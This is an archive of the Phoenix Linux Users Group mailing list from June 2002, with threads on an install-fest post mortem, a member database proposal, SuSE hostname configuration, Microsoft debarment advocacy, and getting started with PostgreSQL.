a little box where they can't do anything. To enable this, add the following line to your sshd config file. UsePrivilegeSeparation yes - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9GjWgpNoctRtUIRQRAoW0AJwOAFyHaqINkNYLePFNl94UESotJQCcCxKh R3jItIem0CD/HrpNELqBU+4= =+a36 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:23:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Wed, 26 Jun 2002 16:23:41 -0700 Subject: Looking for..... Message-ID: <5.1.0.14.0.20020626162304.00a56890@localhost> Jim Woodhull. You left a message with me but I can't dial the number given. Call me 602-375-5363 Kimi Adams Unity Wave From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:19:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jiva DeVoe) Date: Wed, 26 Jun 2002 16:19:44 -0700 Subject: Doing the Right Thing (revisited) In-Reply-To: Message-ID: Sacred cows about to be slaughtered! Beware! Perhaps instead of spending all this energy on trying to come up with ways to fight MS legally (which MS will win anyway) why not spend this energy making Linux the better platform to choose for the applications instead of MS? Then you win for the *right reason*. Frankly, I for one cannot in good conscience recommend that Linux is the right platform for my children to use in school until Linux has better educational games and is easier to use. And forcing a choice on someone because of political motivations is no better than what MS does. On 6/26/02 1:55 PM, "der.hans" wrote: > Am 25. Jun, 2002 schwätzte George Toft so: > >> While searching for more debarment guidelines, I came across these >> tidbits: >> =================================================================== >> Title 7, Ch. 2 Arizona Administrative Code >> State Board of Education >> >> R7-2-1161. Authority to debar or suspend >> A. The governing board has the authority to debar or suspend a >> person from participating in school district procurements. > > OK, this says they can debar a company, but doesn't require them to do so. > > Just looked at your earlier post about Maricopa County rules as well. Those > also don't require debarment :(. > > I would presume this means that m$ isn't automagically debarred, rather only > that the gov't now has cause to debar m$ if the gov't so chose. Now we have > to convince them to debar m$ for their illegal activities. That's something > that should've happened more than 10 years ago the first time m$ was on > trial for anti-trust violations. Were they actually convicted that time or > did they plea bargain out of it? > > ciao, > > der.hans > >> B. The causes for debarment or suspension include the following: >> 3. Conviction or civil judgment finding a violation by any >> person or any subsidiary or affiliate of any person under >> state or federal antitrust statutes. >> >> www.mpsaz.org/purchasing/protest.pdf >> >> Same as before - Schools may debar anti-trust violators. >> >> =================================================================== >> Same thing for ASU: >> www.abor.asu.edu/1_the_regents/policymanual/chap3/3-809.pdf (page 11) >> >> =================================================================== >> Same thing for the State: >> http://sporas.ad.state.az.us/AZPolicy_art9.htm#Debarment >> >> =================================================================== >> >> >> Tom Emerson is right - there is not much originality from one government >> agency to the next in Arizona - they all pretty much copy the same text >> and format. >> >> Let the letter writing begin!!! >> >> George >> ________________________________________________ >> See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post >> to the list quickly and you use Netscape to write mail. >> >> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:31:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Wed, 26 Jun 2002 16:31:08 -0700 Subject: First Crack at a Post Mortem In-Reply-To: <20020624182048.5CF611BD74@autumn.unitywave.com> Message-ID: <5.1.0.14.0.20020626162832.00a595b0@localhost> Very nicely put. I would only add that in the future, we make sure that there are more than ample power strips. Once the room fills up, it's hard to get more power without them. And if this is the only problem we encounter, then we are doing well above other groups that organize events like this. : ) To all, a job well done. I think we are all looking forward to another event and soon. Kimi Adams At 6/24/02, you wrote: >I am including it. I will put this up on the main Install Fest page, before >the Press Release when everyone agrees that this is appropriate. I am also >going to update the Contributors page to add Lycoris, TOLIS, and UnityWave. > >Lemme know what you think of this as a post mortem. > >---------- > >Does the word "success" ring a bell? Parking Lot A at SCC was nearly >deserted at 8:30 a.m. The Student Center was locked and dark. By 9:00 >a.m. the Turquoise Room was filled with PLUG members setting up the room >for an unknown number of "customers". I was under the impression that all >of our communications with the outside world said that the Install Fest >would run from 10:00 a.m. till 4:00 p.m. That did not stop "customers" from >coming in early - or often. >

>The only problem that we encountered was finding table space to put all of >the machines that were brought in to have Linux installed on. It seemed to >me that by 10:30 or 11:00 we were scrambling to find a place for a customer >and his PLUG installer to set up. That problem continued well into the >afternoon hours. That was about the only problem that we encountered. >Okay, there was a need for a blank floppy for a network install but who >uses floppies any more? >

>There seemed to always be PLUG members ready and willing to help with the >next install. During those "down" times, they spent a lot of time answering >questions and helping to resolve issues. The presentations that were held >in the Peridot Room seemed to go very well. I overheard a lot of comments >and they were all extremely positive. The giveaways, as always, went >over very well. Without the support of the vendors, we would never be >able to show the newbies that Linux is about giving and sharing by >giving away so many goodies. Only the RMS video in the hallway met with >less than stellar success, but that may be a result of the location. >

>So what were the numbers? There were 107 people who signed in. There were >somewhere between 150 and 200 raffle tickets that disappeared from the end >of the roll. There were 39 installs. I know of at least two installs that >were not completely successful, but I know that one was a hardware issue. >That boils down to over six installs per hour - and that is an impressive >number. >

>Who do we need to thank? This could be a very long list. We >should start with the Install Fest Committee. Bill, Dennis, Alan, Hans, >Thurm, and Vic did a great job in covering all of the contingencies. I >want to single out Thurm for providing the facilities at SCC. His head is >an appropriate repository for the Red Hat fedora, because without the >facilities the Install Fest would not have been as successful. >

>We need to thank the vendors who supported the PLUG Install Fest. You can >see the list of all the supporters by clicking on the Contributors link >above (it has been updated to reflect the late-commers because they >deserve mentioning). I want to single out Red Hat and Lycoris. Not only >did they supply merchandise for the giveaways but they also had personal >representatives down in the trenches doing installs and answering >questions. A tip of Thurm's new fedora to both Red Hat and Lycoris. >

>But I reserve the biggest THANK YOU to all the PLUG members who showed up >to help doing the installs. Maybe we could have done the installs without >being in the comfortable confines of the Turquoise Room. Maybe we would >have had a superb turnout of customers without the tons of giveaways. But >I guarantee that the whole event would have been a miserable experience if >the hordes of PLUG members that did the installs and answered the questions >and showed the newbies how to get more information and told them how PLUG >was always ready to support them were not there. To each and every one of >you, stand up and take a bow. >

>We did learn a few valuable lessons. We learned that we need to find a way >to keep a better count of people, members, customers, and window-shoppers. >We learned that we need to be prepared for a LOT of customers. We learned >that we should be getting more information from the customers, especially >things like where they heard about the event, what OS they are >replacing or adding to, and what kinds of things they will be using the >Linux computer for. >

>I know that there are a lot of members who were not at the Install Fest. >For you, we have a couple of links to pictures taken at the Install Fest. >The first one is from Thurm. See them at >http://inficad.com/~thurmunit/plug/installfest. Scott Sawyer from Red Hat >has a large collection of pictures that he took at the Install Fest. See >them at http://www.scottsawyer.org/photo-display/index.cgi under the 2002 >year archives. >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:33:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 16:33:54 -0700 Subject: Router Simulator References: <3D19F96E.5080600@qwest.net> <3D1A0736.1030805@ttlexceeded.com> <3D1A1E69.8070102@qwest.net> <005701c21d58$838ba5d0$0301010a@tickticker.com> Message-ID: <3D1A4F62.5060909@ttlexceeded.com> tickticker wrote: >I have 3 spare 2514s, and a 2511 and a 1900 series switch that are sitting >on my shelf now (i use 2600s to study and as my edge router). if anyone >would like me to set up a lab or borrow or buy one off me that would be >fine. I also have a cisco login that gets me any ios. just passed my ccie >written. > Ah nice! You should DEFINITELY set up a lab. I keep hoping to get the Cisco Self-Study Cooperative going. My CCIE is on hold until the market straightens out, but I'll be going for Security then. - Bob From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:51:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Wed, 26 Jun 2002 16:51:18 -0700 Subject: Membership database (was Re: West Side InstallFest) In-Reply-To: <200206261007.11942.voltage_spike@fastmail.fm> References: Message-ID: <5.1.0.14.0.20020626163527.00a52ec0@localhost> Kimi's thoughts and vision: I came to this group because I inherited the job of making an ISP we bought work. They used Linux on the servers. I was used to DOS and easily took over some of the challenges we were facing. However, when it came to finding out more, it was hard to know who to talk with. It was even harder trying to talk with people at companies in the phone book about Linux, which I was using Red Hat at the time. I had a problem once and had to find someone to fix it and ended up with an out of state company. I soon started looking for others to talk with. I found PLUG because of someone sending me an email. I subscribed, then got busy and got unsubscribed. I later needed help again and I spoke with Jiva, who helped me in like 10 minutes. Wonderful person, Jiva is. I joined the listing again and started really paying attention. The reason that I stay and the reason that I feel a database of some sort will help is because if you need information, people aren't always sitting on the mailing list waiting to help. Not that this list has every not responded rapidly, but just that sometimes it takes time and effort to read emails and such. Where if there were a database, easily searchable, it would help to know that the person's information is right there. Like looking for stuff on Google. When we talk about what PLUG is or it does or how it helps people, it's about being a member anyway. You are a member of a list, you email members and you talk with members all the time. The difference is that since PLUG is getting a lot more attention, for those others out there that do not subscribe to the list, there needs to be more of an easy way to access this information. Some people don't want to post because they feel stupid having 400 people see their post. Even though this list has time and time again stated that this is what we are here for, that mentality is still out there. When I help people, they are actually surprised and very glad that we help for free and talk about stuff willingly that will help them. It's just my thoughts and it may not fit everyone, but the group as a whole needs this kind of interaction in a database for the community. The group is over 400 people and that is a lot of help. That is a lot of information to know in your head about everyone. If you don't want to sign up for anything, then it's a choice you make. Just like deleting emails you don't have an interest in. But for those that need help and do not want to subscribe just to post emails, it's a way to expose our group further and gain more attention, in a database format. : ) Onward............. Kimi Adams Unity Wave At 6/26/02, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >On Wednesday 26 June 2002 09:35 am, Derek Neighbors wrote: > > I will start an old war here. I would love to see PLUG have a membership > > database, that let people list their specialities etc.. This would be > > nice so that if we wanted to ever do mailings for things like install > > fests guest speakers and such, but more importantly if someone says "I > > want to install Free BSD on an AMIGA" (or something) we could help find > > someone who might have experience in that. > > > > More over, it would be nice to have people coming to the install fests > > sign up so we could do adequate followup and inform them of training and > > the likes. > >How would this be significantly different from a posting to the PLUG mailing >list? An expert who sees the title "Free BSD on an AMIGA" is just as >likely to volunteer with or without being registered. Additionally, please >lose and gain skills constantly, but probably do not wish to maintain a >PLUG profile (at least, I don't particularly care to). > >About the install-festees (can we call them that?), I am also in favor of >the earlier suggestion that they sign onto the mailing list through a >"subscriber box" while they are present. This way the followup and >announcements would be along the lines of 30-50 messages a day! Certainly >that is enough. ;-) > >It is a good idea, I just don't see it as being necessary given the nature >of the PLUG mailing list. > >- -- > Logan Kennelly > ,,, > (. .) >- --ooO-(_)-Ooo-- >-----BEGIN PGP SIGNATURE----- >Version: GnuPG v1.0.6 (GNU/Linux) >Comment: For info see http://www.gnupg.org > >iD8DBQE9GfS9pNoctRtUIRQRArolAJ9P/In24vvFRWjYE/Fd6MbEl9QaiACghQcu >7JXOEtj1qTBgP/1cPCDVp3c= >=A328 >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:45:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 26 Jun 2002 19:45:58 -0400 Subject: SuSE 7.3 sparc64 References: <200206261446.17057.zen2now@qwest.net> Message-ID: <3D1A5236.D4ED84DC@georgetoft.com> Look in /etc/rc.config - you should use YaST to edit this file. George slr wrote: > > thx for the response, > > i tried the hostname from cli, but it will not > change the machines hostname. it only makes the change AFAIK, to the hostname > listed when entering #hostname. i have yet to rgrep etc, i am caught in a > battle with netsaint's cgi permissions. but thats another issue, and if your > interested in that issue i can give you the low down on it. > > slr > > On Wednesday 26 June 2002 01:45 pm, der.hans wrote: > > Am 26. Jun, 2002 schwätzte slr so: > > > I installed SuSE 7.3 on my Sun Ultra 5, and my current issue is changing > > > my hostname without using YaST. i made the change in /etc/hosts and > > > /etc/HOSTNAME, but there seems to be another file, or other files that > > > contain the real hostname. so editing /etc/hosts or /etc/HOSTNAME have no > > > effect on the machines hostname. just a little curious as to where the > > > "Real Hostname" is located. BTW this is my first time really working with > > > SuSE, RH and MDK have been my flavors of choice. > > > > Use the hostname command to change the active hostname. > > > > rgrep for the hostname in etc. You should find that at least your MTA has > > the hostname hard-coded as well. > > > > ciao, > > > > der.hans > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:59:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 26 Jun 2002 19:59:17 -0400 Subject: Doing the Right Thing (revisited) References: Message-ID: <3D1A5555.AD51C941@georgetoft.com> Technologically superior products have nothing to do with success. To wit: Windows vs Unix, Beta vs VHS, Minidisc vs anything, PowerPC vs. i386. "To be provided a weapon to use in a fight and not use it is foolish." (some US Army hand-to-hand combat manual) To Hans' point - we know the governments have a debarment process, now we must act to get them to consider debarment. Even if the end result is that they choose to keep everything as it is, our voices will have been heard. The seeds of doubt will have been planted. Many organizations are deeply entrenched in Microsoft technology, and most people fear change, so they will not want to change. Guess what? Some of these people we need to write to are elected officials, and we can influence their future employment. That is a powerful motivator. George Jiva DeVoe wrote: > > Sacred cows about to be slaughtered! Beware! > > Perhaps instead of spending all this energy on trying to come up with ways > to fight MS legally (which MS will win anyway) why not spend this energy > making Linux the better platform to choose for the applications instead of > MS? Then you win for the *right reason*. > > Frankly, I for one cannot in good conscience recommend that Linux is the > right platform for my children to use in school until Linux has better > educational games and is easier to use. And forcing a choice on someone > because of political motivations is no better than what MS does. > > On 6/26/02 1:55 PM, "der.hans" wrote: > > > Am 25. Jun, 2002 schwätzte George Toft so: > > > >> While searching for more debarment guidelines, I came across these > >> tidbits: > >> =================================================================== > >> Title 7, Ch. 2 Arizona Administrative Code > >> State Board of Education > >> > >> R7-2-1161. Authority to debar or suspend > >> A. The governing board has the authority to debar or suspend a > >> person from participating in school district procurements. > > > > OK, this says they can debar a company, but doesn't require them to do so. > > > > Just looked at your earlier post about Maricopa County rules as well. Those > > also don't require debarment :(. > > > > I would presume this means that m$ isn't automagically debarred, rather only > > that the gov't now has cause to debar m$ if the gov't so chose. Now we have > > to convince them to debar m$ for their illegal activities. That's something > > that should've happened more than 10 years ago the first time m$ was on > > trial for anti-trust violations. Were they actually convicted that time or > > did they plea bargain out of it? > > > > ciao, > > > > der.hans > > > >> B. The causes for debarment or suspension include the following: > >> 3. Conviction or civil judgment finding a violation by any > >> person or any subsidiary or affiliate of any person under > >> state or federal antitrust statutes. > >> > >> www.mpsaz.org/purchasing/protest.pdf > >> > >> Same as before - Schools may debar anti-trust violators. > >> > >> =================================================================== > >> Same thing for ASU: > >> www.abor.asu.edu/1_the_regents/policymanual/chap3/3-809.pdf (page 11) > >> > >> =================================================================== > >> Same thing for the State: > >> http://sporas.ad.state.az.us/AZPolicy_art9.htm#Debarment > >> > >> =================================================================== > >> > >> > >> Tom Emerson is right - there is not much originality from one government > >> agency to the next in Arizona - they all pretty much copy the same text > >> and format. > >> > >> Let the letter writing begin!!! > >> > >> George > >> ________________________________________________ > >> See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > >> to the list quickly and you use Netscape to write mail. > >> > >> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >> > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 00:01:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Wed, 26 Jun 2002 17:01:54 -0700 (MST) Subject: Doing the Right Thing (revisited) In-Reply-To: Message-ID: Jim, regarding educational software intended for use by school age children, have you reviewed what is available today? (... I speak without having looked too closely myself!!) Recall that there are a handful of public school districts around the country switching over to a Linux dominated desktop computing environment this summer. In my opinion, you are spot-on about the better platform, at least regarding the desktop. I use a basic KDE most of the day, and am an advocate. Trouble is, the MS desktop just plain looks better. Look & feel issues still dampen the urge to switch to a Linux desktop. It's getting closer, maybe next quarter it'll be more evenly matched? At least maybe the darn fonts will improve sometime soon, this seems to be the most in-your-face issue. My linux desktop fonts look great (my desktop installs have been 'adjusted'), but, fresh from the red box, the fonts are quite ragged. Back to the use of Linux desktop systems in schools. My wife and I were required to sign an agreement at my son's school regarding his use of school computer systems. Taking what was on that agreement to an almost silly maximum, it leaves us with a civil liability exposure should our son inadvertantly open a virus-ladened email which in turn infects school computers. I am quite certain that if my son were to inadvertently open a virus ladended email and subsequently infect school computers, there would not be any consequenses (other than the school IT department scrambling to clean the infected systems!), but the agreement we signed doesn't quite read that way. Point is, I know that Linux desktops can be tightly locked down to prevent curious kids from exploring into an area where they might get themselves into trouble. Contrast this to Windows desktop systems that are trivial to comprimise by simply clicking on a URL! My nightmare is that my kid is found to be culpable for comprimising school systems, without intentionally doing something he knows he should not do. - tom e. ---------- On Wed, 26 Jun 2002, Jiva DeVoe wrote: Sacred cows about to be slaughtered! Beware! Perhaps instead of spending all this energy on trying to come up with ways to fight MS legally (which MS will win anyway) why not spend this energy making Linux the better platform to choose for the applications instead of MS? Then you win for the *right reason*. Frankly, I for one cannot in good conscience recommend that Linux is the right platform for my children to use in school until Linux has better educational games and is easier to use. And forcing a choice on someone because of political motivations is no better than what MS does. On 6/26/02 1:55 PM, "der.hans" wrote: > Am 25. Jun, 2002 schwätzte George Toft so: > >> While searching for more debarment guidelines, I came across these >> tidbits: >> =================================================================== >> Title 7, Ch. 2 Arizona Administrative Code >> State Board of Education >> >> R7-2-1161. Authority to debar or suspend >> A. The governing board has the authority to debar or suspend a >> person from participating in school district procurements. > > OK, this says they can debar a company, but doesn't require them to do so. > > Just looked at your earlier post about Maricopa County rules as well. Those > also don't require debarment :(. > > I would presume this means that m$ isn't automagically debarred, rather only > that the gov't now has cause to debar m$ if the gov't so chose. Now we have > to convince them to debar m$ for their illegal activities. That's something > that should've happened more than 10 years ago the first time m$ was on > trial for anti-trust violations. Were they actually convicted that time or > did they plea bargain out of it? > > ciao, > > der.hans > >> B. The causes for debarment or suspension include the following: >> 3. Conviction or civil judgment finding a violation by any >> person or any subsidiary or affiliate of any person under >> state or federal antitrust statutes. >> >> www.mpsaz.org/purchasing/protest.pdf >> >> Same as before - Schools may debar anti-trust violators. >> >> =================================================================== >> Same thing for ASU: >> www.abor.asu.edu/1_the_regents/policymanual/chap3/3-809.pdf (page 11) >> >> =================================================================== >> Same thing for the State: >> http://sporas.ad.state.az.us/AZPolicy_art9.htm#Debarment >> >> =================================================================== >> >> >> Tom Emerson is right - there is not much originality from one government >> agency to the next in Arizona - they all pretty much copy the same text >> and format. >> >> Let the letter writing begin!!! >> >> George >> ________________________________________________ >> See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post >> to the list quickly and you use Netscape to write mail. >> >> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 01:13:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 18:13:41 -0700 (MST) Subject: SuSE 7.3 sparc64 In-Reply-To: <200206261446.17057.zen2now@qwest.net> Message-ID: Am 26. Jun, 2002 schwätzte slr so: > i tried the hostname from cli, but it will not > change the machines hostname. it only makes the change AFAIK, to the hostname As listed in the manpage: hostname - show or set the system's host name That should work for a running system. George is right that the system probably gets the name from /etc/rc.config at boot time. > listed when entering #hostname. i have yet to rgrep etc, i am caught in a > battle with netsaint's cgi permissions. but thats another issue, and if your > interested in that issue i can give you the low down on it. Bring it up on list. Some of us have struggled with netsaint, so might be able to help you. ciao, der.hans -- # https://www.LuftHans.com/ # kill telnet, long live ssh - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 01:01:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Wed, 26 Jun 2002 18:01:03 -0700 Subject: Membership database (was Re: West Side InstallFest) In-Reply-To: <5.1.0.14.0.20020626163527.00a52ec0@localhost> References: <5.1.0.14.0.20020626163527.00a52ec0@localhost> Message-ID: <20020627010103.GO8953@ecloud.org> Isn't there an announce list? If the membership of this list were exposed to its members (which I see right now it isn't - only the admin can see this) then you'd basically have an email list. Maybe this could be augmented with a database which maps the emails to some web links. Every member could modify this mapping to link the email to a "my involvement with PLUG" type page, and some software could be set up on the PLUG web server to optionally host those pages there instead of on members' own web servers, for those who don't have their own. Your password for your mailing list membership should be re-used to grant you access to edit your automatically-created default member page. Sounds like a job for Zope or something doesn't it? If you separate the membership database from the mailing list, then it is not self-maintaining, nobody will care very much about keeping it up to date and soon it will not be. Witness the shortness and age of this page: http://plug.phoenix.az.us/membersites.shtml for proof of that. See how many links you can still follow. I believe I sent in email to notify the web master that my link is way out of date, but never got a response. But if members can maintain their own links at the same time they manage their list subscriptions, then it will tend to stay up-to-date. Which means of course that this ought to be a Mailman feature, ideally. Every member of any list ought to be able to put a URL next to his name on the "member list" page. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 01:05:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Wed, 26 Jun 2002 18:05:50 -0700 Subject: (no subject) Message-ID:

I think the next Install-Fest should showcase a Windoze machine side-by-side with a Linux box to show any "Newbies", or those looking at Linux for the first time as a viable alternative, the advantages of the Linux OS over the "other product".   Let's say I'm the "new guy" and I'm faced with possibly selling an office conversion to the boss and I want to see what "counter-part" is available in Linux and how it stacks up against my Bill Gates mind melder.  I could possibly walk away with a fresh new perspective on speed, performance, and reliability.  I know there are many different variables involved, but the office-related basics are still there.   Just a thought.

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From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 01:31:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Wed, 26 Jun 2002 18:31:27 -0700 (PDT) Subject: Hello I'm new (kinda) In-Reply-To: <3D19FB91.7020504@netscape.net> Message-ID: <20020627013127.16883.qmail@web13408.mail.yahoo.com> --- Don Calfa wrote: > Are you able to play Region 1 DVD's? I am only able > to play region free > DVD's on Mandrake 8.2 Hi Don, Yes I'm able to play Region 1. I tried out one of my sisters DVD's and it worked fine. What errors are you getting? What player are you using? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 01:58:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 18:58:09 -0700 (MST) Subject: Doing the Right Thing (revisited) In-Reply-To: Message-ID: Am 26. Jun, 2002 schwätzte Jiva DeVoe so: > Perhaps instead of spending all this energy on trying to come up with ways > to fight MS legally (which MS will win anyway) why not spend this energy I'm not fighting MS. Morgan Stanley actually gives money to companies in the Free Software community and tries to support competition and free enterprise ( for technology, not so sure they're in favor of competition in their main areas of business though ). m$, however, has broken the law multiple times and has finally been found guilty. > making Linux the better platform to choose for the applications instead of > MS? Then you win for the *right reason*. GNU/Linux already is the better technical platform. Gov't has a need for standards. Mil requires them. GNU/Linux is much better at standards compliance than m$ or mac. Don't know how GNU/Linux compares to the commercial *NIX vendors or the non-commercial *BSDs as far as standards compliance goes. > Frankly, I for one cannot in good conscience recommend that Linux is the > right platform for my children to use in school until Linux has better I don't remember advocating GNU/Linux or any other OS in that post. I don't see any such advocation upon rereading it either. > educational games and is easier to use. And forcing a choice on someone > because of political motivations is no better than what MS does. Political motivations? I explicitly mentioned that m$ should be debarred for illegal activities. Anderson Consulting looks forward to your continued business and Jimmy Hoffa thanks you for your vote ;-). Seriously, the gov't is spending public funds. They should not be supporting companies participating in illegal activities. Once the company has been found guilty the gov't has explicit responsibility to not do business with that company. That is true for any company guilty of a felony or anti-trust violation. There are other restrictions on felons. For instance, it is illegal for a convicted felon to sit on the board for a non-profit corporation. Why shouldn't m$ and anderson have to suffer the same penalties as their fellow felons? I think, at some point the company, with good behavior, will have done its time and could then be elligible to once again contract with the gov't. In the meantime, no new contracts. ciao, der.hans > On 6/26/02 1:55 PM, "der.hans" wrote: > > > Am 25. Jun, 2002 schwätzte George Toft so: > > > >> While searching for more debarment guidelines, I came across these > >> tidbits: > >> =================================================================== > >> Title 7, Ch. 2 Arizona Administrative Code > >> State Board of Education > >> > >> R7-2-1161. Authority to debar or suspend > >> A. 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They are either convinced that they want to switch to Linux or they are curious. They are also usually Joe Sixpack types who are getting on the clue train or geeks-in-training who know that there is a lot of fun under the hood. Not too many suits show up. That is another project in itself. If we could wangle out way into one of the many computer shows at the Civic Plaza, those suits and their minions do like to be impressed by the power, stability, and performance of the kinds of apps that they license and use on a daily basis On Wednesday 26 June 2002 18:05, you wrote: >
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________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRpuwisk3ywszI1FEQJ/KACgvsXTGKvsLWy4ACLReiIptTCJmfgAoMc7 pGSiwO1XtT/Q8RCR0ZCtpzwU =JDmD -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 02:09:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 26 Jun 2002 19:09:48 -0700 Subject: random sounds Message-ID: <20020626190948.3237f590.snoogans@qwest.net> when im running my box i sometimes get these random sounds that just go off or about 1-2 seconds. Was wondering if there was a program or something that could tell me what program last accessed a device? it really annoying and would like to get rid of it :) im using devfs if that makes a difference From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 02:21:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Wed, 26 Jun 2002 21:21:54 -0500 Subject: mysql -> postgres Message-ID: <20020626212154.A86347@lilly.csoft.net> I have been using MySQL for quite some time and feel right at home with it..... I would like to begin learning postgresql. I have just installed it (as a Debian snob, apt-get made that pretty brainless), and need a starting point. Using MySQL, I am spoiled by mysqlshow, and walking right into the mysql db and setting up perms for something I created with mysqladmin create 'dbname'. This is my only baseline, and would love for someone to point me to some docs that address the basics for postgres. v/r mike From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 03:41:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 26 Jun 2002 23:41:40 -0400 Subject: Crappy Products Cost More!! Message-ID: RedHat Professional comes with 90 days technical support. It also has all the printed manuals that would cost about $35 separately. (A small story, indirectly related.) I have successfully setup a new CVS server at work using RH7.3, Webmin and CVS, of course. In explaining what I had done and what I am using to do it, our company product manager said, and I quote, "If all that software is free, why are we using it. It is probably crap." This was followed by a brief demonstration of Webmin that left him less "against" the software but still not "for" it. (End of story.) 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Proctor" wrote: Is it my imagination or does it seem that the worst products always costs more.  ie.  If you want Windows XP you plan on paying $179. for the home version and more for the professional version.  Again with RedHat you have a $79.95 personal or workstation edition and comes with 3 cd's.  Get the professional version for around $199.00 and i'm not sure how many cd's come with it.  Is RedHat trying to compete with Microsoft on who can supply the most expensive product?   Before anyone goes off saying well you can just download the distro and don't have to pay those prices.  I am thinking of the newbies.  I would never hand a newbie 3 cd's and say here ya go.  I would like to have the documentation to go with it.  Of course Redhat and Windows both give you wafer thin manuals.  SuSE and Mandrake give you good size manuals with plenty of information packed in them.  Also SuSE Professional is only $79.95 and comes with 7 cd's and one DVD.  The DVD had everything all 7 cd's have and you don't have to do any disk swaps.   I have worked with Redhat, Mandrake, and SuSE and it seems that Redhat lags far behind the competitors.  Try to install Redhat on a seperate hard disk with Windows XP on the first hard disk in NTFS format,  Redhat won't even make an entry for Windows XP in lilo.  I can imagine the panic attack a newbies face after the redhat install and the only option is Redhat.  LOL  That is of course if you can get Redhat to install in the first place. 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(y/n) y Shall the new user be allowed to create more new users? y (assuming your login account is "mike") Now, as the user "mike": createdb firstdb psql firstdb firstdb=# <- the psql command line prompt for database "firstdb" firstdb=# \? <- to see a list of backslash commands. 